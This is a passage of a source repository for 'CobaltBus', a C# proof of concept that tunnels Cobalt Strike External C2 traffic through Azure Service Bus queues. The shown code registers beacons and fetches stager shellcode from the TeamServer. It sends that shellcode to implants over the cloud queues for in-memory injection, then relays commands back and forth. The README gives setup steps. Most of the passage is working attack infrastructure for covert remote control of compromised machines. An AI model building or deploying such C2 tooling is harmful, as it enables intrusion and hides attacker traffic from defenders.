84 | var byteArray = Convert.FromBase64String("AA==");
85 | namePipeHandler.SendFrame(byteArray);
86 | var readBuffer = namePipeHandler.ReadFrame();
87 |
88 | }
89 | else
90 | {
91 | Console.WriteLine("[+] Command running, skipping fake");
92 | }
93 | }
94 | }
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/Beacon/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Beacon")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Beacon")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("c309cdcc-0548-4b3b-b5b2-bda77a3d079c")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Beacon/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/CobaltBus.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.0.32014.148
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "CobaltBus", "CobaltBus\CobaltBus.csproj", "{A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Beacon", "Beacon\Beacon.csproj", "{C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Debug|x64 = Debug|x64
14 | Release|Any CPU = Release|Any CPU
15 | Release|x64 = Release|x64
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|x64.ActiveCfg = Debug|Any CPU
21 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Debug|x64.Build.0 = Debug|Any CPU
22 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|Any CPU.Build.0 = Release|Any CPU
24 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|x64.ActiveCfg = Release|Any CPU
25 | {A9C5F6BD-AD8D-4529-BE0B-910C1C1DADAF}.Release|x64.Build.0 = Release|Any CPU
26 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
27 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|Any CPU.Build.0 = Debug|Any CPU
28 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|x64.ActiveCfg = Debug|x64
29 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Debug|x64.Build.0 = Debug|x64
30 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|Any CPU.ActiveCfg = Release|Any CPU
31 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|Any CPU.Build.0 = Release|Any CPU
32 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|x64.ActiveCfg = Release|x64
33 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C}.Release|x64.Build.0 = Release|x64
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {87831BD8-3017-44AE-8074-6ACCF5A290FE}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/CobaltBus/CobaltBus.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | netcoreapp3.1
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/CobaltBus/Handlers/CobaltHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Net;
5 | using System.Net.Sockets;
6 | using System.Threading.Tasks;
7 | using CobaltBus.Models;
8 | using System.Threading;
9 | using System.Linq;
10 | using Newtonsoft.Json;
11 |
12 | namespace CobaltBus.Handlers
13 | {
14 | public class CobaltHandler
15 | {
16 |
17 | private const int MaxBufferSize = 1024 * 1024;
18 | private readonly IPEndPoint _endpoint;
19 |
20 | public LiteDbHandler LiteDbHandler { get; set; }
21 | public CobaltHandler(string ipAddr, string port, LiteDbHandler liteDbHandler, string beaconId)
22 | {
23 | var server = BitConverter.ToUInt32(
24 | IPAddress.Parse(ipAddr).GetAddressBytes(), 0);
25 | _endpoint = new IPEndPoint(server, Convert.ToInt32(port));
26 |
27 | LiteDbHandler = liteDbHandler;
28 | BeaconId = beaconId;
29 | }
30 |
31 | public byte[] StagerByteArray { get; set; }
32 | public Socket Socket { get; private set; }
33 | public string BeaconId { get; set; }
34 |
35 | public bool StagerBusy { get; set; }
36 | public bool Connected => Socket?.Connected ?? false;
37 |
38 |
39 | public bool Connect()
40 | {
41 | Socket = new Socket(_endpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
42 | Socket.Connect(_endpoint);
43 |
44 | if (!Socket.Connected) return false;
45 |
46 | // Configure other socket options if needed
47 | Socket.ReceiveTimeout = 10000;
48 |
49 | return Socket.Connected;
50 | }
51 |
52 |
53 |
54 | public void Close()
55 | {
56 | Socket.Close();
57 | }
58 |
59 |
60 | public void Dispose()
61 | {
62 | Socket.Close();
63 | }
64 |
65 | public byte[] ReadFrame()
66 | {
67 | try
68 | {
69 | var sizeBytes = new byte[4];
70 | Socket.Receive(sizeBytes);
71 | var size = BitConverter.ToInt32(sizeBytes, 0) > MaxBufferSize
72 | ? MaxBufferSize
73 | : BitConverter.ToInt32(sizeBytes, 0);
74 |
75 | var total = 0;
76 | var bytesReceived = new byte[size];
77 | while (total < size)
78 | {
79 | var bytes = Socket.Receive(bytesReceived, total, size - total, SocketFlags.None);
80 | total += bytes;
81 | }
82 | if (size > 1 && size < 1024)
83 | Console.WriteLine($"[+] Read frame: {Convert.ToBase64String(bytesReceived)}");
84 |
85 | return bytesReceived;
86 | }
87 | catch (Exception ex)
88 | {
89 | Console.WriteLine($"Exception while reading socket: {ex.Message}");
90 | return new byte[] { 0x00 };
91 | }
92 | }
93 |
94 | public BeaconMsg ProcessMessage(BeaconMsg beaconMsg)
95 | {
96 | //Draft a response msg
97 | BeaconMsg responseMsg = new BeaconMsg()
98 | {
99 | From = beaconMsg.To,
100 | To = beaconMsg.From,
101 | Queue = beaconMsg.Queue
102 |
103 | };
104 |
105 | if (!string.IsNullOrEmpty(beaconMsg.Command))
106 | {
107 |
108 |
109 | // Console.WriteLine(JsonConvert.SerializeObject(beaconMsg, Formatting.Indented));
110 | //This hold the C2 communcation protocol logic
111 |
112 | //Check if this beaconId is already in the database
113 | string beaconId = beaconMsg.From;
114 |
115 | if (LiteDbHandler.QueryBeacons().Exists(x => x.BeaconId.Equals(beaconId)))
116 | {
117 |
118 | var beacon = LiteDbHandler.QueryBeacons().Where(x => x.BeaconId.Equals(beaconId)).FirstOrDefault();
119 | //If the beaconId is in the database, forward traffic normally
120 | var msgPayload = beaconMsg.Payload;
121 |
122 | Console.WriteLine($"[+] Writing to Cobalt => {msgPayload.Substring(0, (msgPayload.Length > 100) ? 100 : msgPayload.Length)}");
123 |
124 |
125 | var buffer = Convert.FromBase64String(msgPayload);
126 |
127 |
128 | SendFrame(buffer);
129 |
130 |
131 | var readBuffer = ReadFrame();
132 | if (readBuffer.Length > 0)
133 | {
134 | //Send that data down to the client
135 | responseMsg.Command = "COM";
136 | responseMsg.Payload = Convert.ToBase64String(readBuffer);
137 |
138 | }
139 | beacon.Active = true;
140 | LiteDbHandler.UpdateBeacon(beacon);
141 | }
142 | else if (beaconMsg.Command.Equals("GETSTAGER"))
143 | {
144 |
145 | Console.WriteLine("[+] Got stager request from beacon " + beaconId);
146 |
147 | //If the beaconId is NOT in the database, we need to give it a stager, as set the ID
148 | var pipeName = beaconMsg.Payload.Split(":")[0];
149 | var is64Bit = beaconMsg.Payload.Split(":")[1];
150 |
151 | Console.WriteLine("[+] Stager pipename " + pipeName);
152 |
153 | if (StagerByteArray == null)
154 | StagerByteArray = GetStager(pipeName, (is64Bit.Equals("1") ? true : false));
155 |
156 |
157 | Console.WriteLine($"[+] Got stager of size {StagerByteArray.Length}");
158 |
159 | responseMsg.Command = "INJECT";
160 | responseMsg.Payload = Convert.ToBase64String(StagerByteArray);
161 |
162 | LiteDbHandler.WriteBeacon(new Beacon() { BeaconId = beaconId, Queue = beaconMsg.Queue });
163 | }
164 | else if (beaconMsg.Command.Equals("INITIALIZE"))
165 | {
166 | //We want to create a new servicebus queue to repond on
167 | Console.WriteLine("[+] Got initialize request from beacon " + beaconId);
168 |
169 | var newQueName = Guid.NewGuid().ToString().Replace("-", "").ToLower();
170 |
171 | Console.WriteLine("[+] Generated a dedicated servicebus Queue " + newQueName);
172 |
173 | responseMsg.Command = "CHANNEL";
174 | responseMsg.Payload = newQueName;
175 | }
176 |
177 |
178 |
179 | }
180 |
181 | return responseMsg;
182 | }
183 |
184 | public void SendFrame(byte[] buffer, bool bypass = false)
185 | {
186 | //Wait until the stager is done
187 | if (!bypass)
188 | while (StagerBusy)
189 | {
190 |
191 | }
192 |
193 | if (buffer.Length > 2 && buffer.Length < 1024)
194 | Console.WriteLine($"[+] Sending frame: {Convert.ToBase64String(buffer)}");
195 |
196 | var lenBytes = BitConverter.GetBytes(buffer.Length);
197 | Socket.Send(lenBytes, 4, 0);
198 | Socket.Send(buffer);
199 | }
200 |
201 |
202 | public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100)
203 | {
204 | StagerBusy = true;
205 | Console.WriteLine("[+] Getting stager from Cobalt");
206 | SendFrame(Encoding.ASCII.GetBytes(is64Bit ? "arch=x64" : "arch=x86"), true);
207 | SendFrame(Encoding.ASCII.GetBytes("pipename=" + pipeName), true);
208 | SendFrame(Encoding.ASCII.GetBytes("block=" + taskWaitTime), true);
209 | SendFrame(Encoding.ASCII.GetBytes("go"), true);
210 | StagerBusy = false;
211 | return ReadFrame();
212 | }
213 |
214 | }
215 | }
216 |
--------------------------------------------------------------------------------
/CobaltBus/Handlers/LiteDbHandler.cs:
--------------------------------------------------------------------------------
1 | using CobaltBus.Models;
2 | using LiteDB;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading;
8 |
9 | namespace CobaltBus.Handlers
10 | {
11 | public class LiteDbHandler
12 | {
13 |
14 | public string DbName { get; set; }
15 |
16 | public LiteDatabase LiteDatabase { get; set; }
17 | public LiteDbHandler(string dbName)
18 | {
19 | DbName = dbName;
20 |
21 | LiteDatabase = new LiteDatabase(new ConnectionString() { Filename = DbName });
22 | }
23 |
24 | public void UpdateBeacon(Beacon beaconObject)
25 | {
26 | var collectionLink = LiteDatabase.GetCollection("beacons");
27 | collectionLink.Update(beaconObject);
28 | LiteDatabase.Checkpoint();
29 |
30 | }
31 |
32 | public void WriteBeacon(Beacon beaconObject)
33 | {
34 | var collectionLink = LiteDatabase.GetCollection("beacons");
35 | collectionLink.EnsureIndex(x => x.Id, true);
36 | collectionLink.Insert(beaconObject);
37 | LiteDatabase.Checkpoint();
38 |
39 | }
40 |
41 | public void WriteBeaconMsg(BeaconMsg beaconObject)
42 | {
43 |
44 | var collectionLink = LiteDatabase.GetCollection("beaconmsg");
45 | collectionLink.Insert(beaconObject);
46 |
47 | }
48 |
49 | public bool DeleteBeaconMsg(BeaconMsg BeaconMsg)
50 | {
51 |
52 | var orders = LiteDatabase.GetCollection("beaconmsg");
53 | if (orders.Delete(BeaconMsg.Id))
54 | {
55 |
56 | return true;
57 | }
58 | return false;
59 | }
60 |
61 |
62 | public List QueryBeaconMsg()
63 | {
64 | try
65 | {
66 | Thread.Sleep(2000);
67 | var orders = LiteDatabase.GetCollection("beaconmsg");
68 | return orders.FindAll().ToList();
69 | }
70 | catch (Exception ex)
71 | {
72 | //File is locked, ignore
73 | if (ex.Message.StartsWith("Invalid Collection on 0"))
74 | return new List() { };
75 | else
76 | throw;
77 | }
78 | }
79 |
80 |
81 | public Beacon QueryBeacon(string beaconId)
82 | {
83 | var orders = LiteDatabase.GetCollection("beacons");
84 | return orders.Find(beacon => beacon.BeaconId.Equals(beaconId))?.FirstOrDefault();
85 | }
86 |
87 | public List QueryBeacons()
88 | {
89 | var orders = LiteDatabase.GetCollection("beacons");
90 | return orders.FindAll().ToList();
91 | }
92 |
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/CobaltBus/Handlers/ServiceBusHandler.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Azure.ServiceBus.Management;
2 | using Azure.Messaging.ServiceBus;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using Newtonsoft.Json;
9 | using CobaltBus.Models;
10 | using Azure.Messaging.ServiceBus.Administration;
11 | using System.Threading;
12 |
13 | namespace CobaltBus.Handlers
14 | {
15 | public class ServiceBusHandler
16 | {
17 | public static string InboudboundQueueName = "C2";
18 | public static string OutboundQueueName = "BE";
19 |
20 | public string ConnectionString { get; set; }
21 | public string QueueName { get; set; }
22 | public string BeaconId { get; set; }
23 | public LiteDbHandler LiteDbHandler { get; set; }
24 |
25 | public ServiceBusHandler(string connectionString, string queueName, string beaconId, LiteDbHandler liteDbHandler)
26 | {
27 | ConnectionString = connectionString;
28 | // CobaltHandler = cobaltHandler;
29 | QueueName = queueName;
30 | BeaconId = beaconId;
31 | LiteDbHandler = liteDbHandler;
32 | }
33 |
34 | // handle received messages
35 | public async Task MessageHandler(ProcessMessageEventArgs args)
36 | {
37 | var decom = SevenZip.SevenZipExtractor.ExtractBytes(args.Message.Body.ToArray());
38 |
39 | var beaconMsg = JsonConvert.DeserializeObject(Encoding.UTF8.GetString(decom));
40 |
41 | // var beaconMsg = JsonConvert.DeserializeObject(args.Message.Body.ToString());
42 |
43 | if (beaconMsg != null)
44 | {
45 | if (beaconMsg.To.Equals(BeaconId))
46 | {// var responseMsg = CobaltHandler.ProcessMessage(beaconMsg);
47 |
48 | await args.CompleteMessageAsync(args.Message);
49 |
50 | LiteDbHandler.WriteBeaconMsg(beaconMsg);
51 |
52 |
53 | }
54 |
55 | }
56 | }
57 |
58 | // handle any errors when receiving messages
59 | public Task ErrorHandler(ProcessErrorEventArgs args)
60 | {
61 | Console.WriteLine(args.Exception.ToString());
62 | return Task.CompletedTask;
63 | }
64 |
65 | public async Task ReceiveMessagesAsync(string queueName)
66 | {
67 | ServiceBusClient client = new ServiceBusClient(ConnectionString);
68 |
69 | // create a processor that we can use to process the messages
70 | ServiceBusProcessor processor = client.CreateProcessor(queueName + InboudboundQueueName, new ServiceBusProcessorOptions());
71 |
72 | // add handler to process messages
73 | processor.ProcessMessageAsync += MessageHandler;
74 |
75 | // add handler to process any errors
76 | processor.ProcessErrorAsync += ErrorHandler;
77 |
78 | // start processing
79 | processor.StartProcessingAsync();
80 |
81 | //await processor.StopProcessingAsync();
82 |
83 | }
84 |
85 |
86 | public async Task SendMessageAsync(string queueName, string messageData)
87 | {
88 | // create a Service Bus client
89 | ServiceBusClient client = new ServiceBusClient(ConnectionString);
90 |
91 | // create a sender for the queue
92 | ServiceBusSender sender = client.CreateSender(queueName + OutboundQueueName);
93 |
94 | //Compress Data
95 | var compressed = SevenZip.SevenZipCompressor.CompressBytes(Encoding.UTF8.GetBytes(messageData));
96 |
97 | // create a message that we can send
98 | ServiceBusMessage message = new ServiceBusMessage(compressed);
99 |
100 |
101 |
102 |
103 | // send the message
104 | await sender.SendMessageAsync(message);
105 |
106 |
107 | }
108 |
109 | public async Task> ListQueues()
110 | {
111 | var managementClient = new ManagementClient(ConnectionString);
112 |
113 | var allQueues = await managementClient.GetQueuesAsync();
114 |
115 | return allQueues.Select(x => x.Path).ToList();
116 |
117 |
118 | }
119 |
120 | public async Task CreateQueue(string queueName)
121 | {
122 | try
123 | {
124 | var managementClient = new ManagementClient(ConnectionString);
125 |
126 | var options = new CreateQueueOptions(queueName)
127 | {
128 | LockDuration = TimeSpan.FromSeconds(5),
129 | MaxDeliveryCount = 1000
130 |
131 | };
132 |
133 | await managementClient.CreateQueueAsync(queueName);
134 |
135 | return true;
136 | }
137 | catch (Exception)
138 | {
139 |
140 | return false;
141 | }
142 | }
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/CobaltBus/Models/Beacon.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace CobaltBus.Models
6 | {
7 | public class Beacon
8 | {
9 |
10 | public int Id { get; set; }
11 | public string BeaconId { get; set; }
12 | public string Queue { get; set; }
13 | public bool Active { get; set; }
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/CobaltBus/Models/BeaconMsg.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 |
5 | namespace CobaltBus.Models
6 | {
7 | public class BeaconMsg
8 | {
9 | public int Id { get; set; }
10 | public string From { get; set; }
11 | public string To { get; set; }
12 | public string Command { get; set; }
13 | public string Queue { get; set; }
14 | public string Payload { get; set; }
15 | }
16 | }
17 |
18 |
--------------------------------------------------------------------------------
/CobaltBus/Program.cs:
--------------------------------------------------------------------------------
1 | using CobaltBus.Handlers;
2 | using CobaltBus.Models;
3 | using Microsoft.ServiceBus;
4 | using Newtonsoft.Json;
5 | using System;
6 | using System.Collections.Generic;
7 | using System.IO;
8 | using System.Linq;
9 | using System.Threading;
10 | using System.Threading.Tasks;
11 |
12 | namespace CobaltBus
13 | {
14 | class Program
15 | {
16 | public static string inboudboundQueueName = "C2";
17 | public static string outboundQueueName = "BE";
18 | public static string baseQueueName = "CobaltBus-";
19 | public static string ExternalC2Port = "4444";
20 | public static string ExternalC2Ip = "127.0.0.1";
21 | public static int ExtractId(byte[] frame)
22 | {
23 | using (var reader = new BinaryReader(new MemoryStream(frame)))
24 | return reader.ReadInt32();
25 | }
26 | public static string connectionString = "";
27 |
28 | static async Task Main(string[] args)
29 | {
30 | var interactive = true;
31 | ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https;
32 |
33 | var beaconid = "C2SERVER";
34 | //Connent to the Cobalt ExternalC2 TCP socket
35 |
36 | var liteDbHandler = new LiteDbHandler("CobaltBus.db");
37 |
38 |
39 |
40 | //Create a new serviceBusHandler that communicates with the CobaltHandler
41 | var serviceBusHandler = new ServiceBusHandler(connectionString, baseQueueName, beaconid, liteDbHandler);
42 |
43 | //get the Queues in the servicebus namespace
44 | var queues = await serviceBusHandler.ListQueues();
45 |
46 | //We we don't have an OrchestrationQueue, create one
47 | if (!queues.Contains(baseQueueName + inboudboundQueueName) || !queues.Contains(baseQueueName + outboundQueueName))
48 | {
49 |
50 | await serviceBusHandler.CreateQueue(baseQueueName + inboudboundQueueName);
51 | await serviceBusHandler.CreateQueue(baseQueueName + outboundQueueName);
52 | }
53 |
54 | Console.WriteLine("[+] Started ServiceBus listener");
55 | serviceBusHandler.ReceiveMessagesAsync(baseQueueName);
56 |
57 | var cobaltHandlers = new List() { };
58 |
59 | while (true)
60 | {
61 | var messages = liteDbHandler.QueryBeaconMsg().Where(x => !string.IsNullOrEmpty(x.Command)).ToArray();
62 | var activeBeacons = liteDbHandler.QueryBeacons().Where(x => x.Active).ToArray();
63 | if (messages.Count() == 0 && interactive)
64 | {
65 | //Let's keep talking to cobalt strike
66 | foreach (Beacon beacon in activeBeacons)
67 | {
68 |
69 | var cobaltHandler = cobaltHandlers.Where(x => x.BeaconId.Equals(beacon.BeaconId)).FirstOrDefault();
70 |
71 | var buffer = Convert.FromBase64String("AA==");
72 | cobaltHandler.SendFrame(buffer);
73 |
74 |
75 | var readBuffer = cobaltHandler.ReadFrame();
76 | if (readBuffer.Length > 0)
77 | {
78 | BeaconMsg responseMsg = new BeaconMsg()
79 | {
80 | To = beacon.BeaconId,
81 | From = "C2SERVER",
82 | Queue = beacon.Queue
83 | };
84 |
85 | //new data that we need to send
86 | //Send that data down to the client
87 |
88 | responseMsg.Command = "COM";
89 | responseMsg.Payload = Convert.ToBase64String(readBuffer);
90 |
91 | // Console.WriteLine($"[+] {ExtractId(Convert.FromBase64String(responseMsg.Payload))}");
92 | await serviceBusHandler.SendMessageAsync(responseMsg.Queue, JsonConvert.SerializeObject(responseMsg));
93 | }
94 | }
95 | }
96 |
97 |
98 |
99 | foreach (var msg in messages)
100 | {
101 | CobaltHandler cobaltHandler = null;
102 |
103 | //Check if this beacon have an handler
104 | var lookupCobaltHandler = cobaltHandlers.Where(x => x.BeaconId.Equals(msg.From)).FirstOrDefault();
105 | if (lookupCobaltHandler != null)
106 | {
107 |
108 | cobaltHandler = lookupCobaltHandler;
109 | }
110 | else if (cobaltHandler == null)
111 | {
112 | Console.WriteLine($"[+] Setting up an TeamServer for beacon {msg.From}");
113 | //If not create a new one
114 | var cobaltHandlerTwo = new CobaltHandler(ExternalC2Ip, ExternalC2Port, liteDbHandler, msg.From);
115 |
116 | Console.WriteLine("[+] Connecting to TeamServer");
117 | cobaltHandlerTwo.Connect();
118 |
119 |
120 | cobaltHandlers.Add(cobaltHandlerTwo);
121 |
122 | cobaltHandler = cobaltHandlerTwo;
123 | }
124 |
125 |
126 | //Foreach msg, process it
127 | var responseMsg = cobaltHandler.ProcessMessage(msg);
128 |
129 | //If this is a message to create a channel / response to a init beacon
130 | if (responseMsg.Command.Equals("CHANNEL") && responseMsg.Queue.Equals(baseQueueName))
131 | {
132 | Console.WriteLine($"[+] Creating {responseMsg.Payload}C2");
133 | await serviceBusHandler.CreateQueue(responseMsg.Payload + "C2");
134 |
135 | Console.WriteLine($"[+] Creating {responseMsg.Payload}BE");
136 | await serviceBusHandler.CreateQueue(responseMsg.Payload + "BE");
137 |
138 | var newServiceBusHandler = new ServiceBusHandler(connectionString, responseMsg.Payload, beaconid, liteDbHandler);
139 | //Start a response handler for that
140 |
141 | Console.WriteLine($"[+] Listening on {responseMsg.Payload}C2");
142 | newServiceBusHandler.ReceiveMessagesAsync(responseMsg.Payload);
143 |
144 |
145 |
146 | }
147 |
148 | //If any other command, send it down the original queue
149 | if (!string.IsNullOrEmpty(responseMsg.Command))
150 | {
151 | if (interactive)
152 | {
153 |
154 | await serviceBusHandler.SendMessageAsync(responseMsg.Queue, JsonConvert.SerializeObject(responseMsg));
155 | }
156 | else
157 | {
158 | if (!responseMsg.Payload.Equals("AA=="))
159 | {
160 | // Console.WriteLine($"[+] {ExtractId(Convert.FromBase64String(responseMsg.Payload))}");
161 |
162 | await serviceBusHandler.SendMessageAsync(responseMsg.Queue, JsonConvert.SerializeObject(responseMsg));
163 | }
164 | }
165 | }
166 | liteDbHandler.DeleteBeaconMsg(msg);
167 | }
168 | }
169 | }
170 | }
171 | }
172 |
173 |
--------------------------------------------------------------------------------
/FlowDiag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Flangvik/CobaltBus/d787262e2107c4f7de30cab5f652194fc3883266/FlowDiag.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CobaltBus
2 | Cobalt Strike External C2 Integration With Azure Servicebus, C2 traffic via Azure Servicebus
3 |
4 | 
5 |
6 | # Setup
7 |
8 | 1. Create an Azure Service Bus
9 | 2. Create a Shared access policy (Connection string) that can only Send and Listen
10 | 3. Edit the static connectionString variable in Beacon C# projects to match the "Primary Connection String" value for the Shared access policy created in step 2.
11 | 4. The same variables need to be updated for the CobaltBus project, but the "Primary Connection String" for the "RootManageSharedAccessKey" Shared access policy must be used. (Needs the "manage" permission)
12 | 5. Setup Cobalt and start en External C2 listener on port 4444, 127.0.0.1 (can be changed by editing the ExternalC2Port ExternalC2Ip vars in the C# project)
13 |
14 | # Demo Video
15 |
16 | [](https://www.youtube.com/watch?v=yhgsYWskz4E)
17 |
18 | # How does it work?
19 |
20 | Then CobaltBus DotNetCore binary that integrates with CobaltStrikes ExternalC2, will create a local SqliteDB in order to keep track of multiple beacons. The messages inbound to CobaltBus will be captured and written to the database. The database names "CobaltBus.db" and "CobaltBus-log.db" will be created in the directory CobaltBus.dll is running from. Once a Beacon binary runs, it will push an "INITIALIZE" message to the baseQueueName queue, with a randomly generated BeaconId and Pipename. The CobaltBus handler will then capture this, create and move into the two new queues based on the BeaconId sent, request stager shellcode from the CobaltStrike, and push it back down the new queue as an "INJECT" message. From here, the Beacon project injects the captured shellcode into memory and establishes a connection with the CobaltStrike beacon over the generated pipe name. When a command is issued from CobaltBus, it is pushed down the beacon respective queue and into the beacon pipe name.
21 |
22 |
23 | # Opsec considerations
24 | The current message flow has multiple flaws that would need to be addressed before I would consider using this for real-life operations. Consider this a dirty POC. If only there was a mouse and C2 expert that could make this safe to use....
25 |
26 | # Credits
27 | Major credit to the work done by @ryHanson https://github.com/ryhanson/ExternalC2
28 |
--------------------------------------------------------------------------------